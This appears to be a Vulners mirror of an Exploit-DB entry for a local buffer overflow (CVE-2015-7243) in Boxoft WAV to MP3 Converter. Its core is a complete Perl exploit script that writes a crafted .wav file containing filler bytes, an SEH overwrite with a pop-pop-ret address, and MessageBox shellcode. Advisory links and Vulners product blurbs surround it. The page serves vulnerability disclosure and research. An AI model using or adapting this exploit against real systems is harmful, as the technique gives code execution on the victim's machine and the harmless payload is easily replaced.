Lucene search
+L

Boxoft WAV to MP3 Converter - 'convert' Local Buffer Overflow

🗓️ 31 Aug 2015 00:00:00Reported by Robbie CorleyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

Buffer overflow in Boxoft WAV to MP3 Converter on Win7x6

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Boxoft WAV To MP3 Converter 1.1 Buffer Overflow Exploit
3 Jul 201800:00
zdt
circl
Circl
CVE-2015-7243
31 Aug 201500:00
circl
cnvd
CNVD
Boxoft WAV to MP3 Converter Buffer Overflow Vulnerability
25 Sep 201500:00
cnvd
cve
CVE
CVE-2015-7243
18 Sep 201516:00
cve
cvelist
Cvelist
CVE-2015-7243
18 Sep 201516:00
cvelist
exploitdb
Exploit DB
Boxoft WAV to MP3 Converter 1.1 - Buffer Overflow (Metasploit)
3 Jul 201800:00
exploitdb
metasploit
Metasploit
Boxoft WAV to MP3 Converter v1.1 Buffer Overflow
29 Jun 201820:17
metasploit
nvd
NVD
CVE-2015-7243
18 Sep 201516:59
nvd
packetstorm
Packet Storm
Boxoft Wav To MP3 Converter 1.0 Buffer Overflow
1 Jun 201600:00
packetstorm
packetstorm
Packet Storm
Boxoft WAV To MP3 Converter 1.1 Buffer Overflow
2 Jul 201800:00
packetstorm
Rows per page
#Exploit Title: Boxoft wav to mp3 converter SEH bypass technique tested on Win7x64
# Date: 8-31-2015
# Software Link: http://www.boxoft.com/wav-to-mp3/
# Exploit Author: Robbie Corley
# Contact: [email protected]
# Website:
# Target: Windows 7 Enterprise x64
# CVE:
# Category: Local Exploit
#
# Description:
# A buffer overflow was found after constructing a .wav payload over 4000 characters and attempting to convert the payload to a .mp3 file

my $buff = "\x41" x 4132;
#my $nseh = "\x42" x 4;
#my $seh = "\x43" x 4;
my $endofbuff   = "\x41" x 5860;


$nseh = "\xeb\x06\x90\x90";  # jump to shellcode
$seh = pack('V',0x0040144c); # pop pop retn

#MessageBox Shellc0de
#https://www.exploit-db.com/exploits/28996/

my $shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

#$nops = "\x90" x 20;

open(myfile,'>crash3r.wav');

print myfile $buff.$nseh.$seh.$shellcode.$endofbuff;
close (myfile);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jan 2017 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.58272
43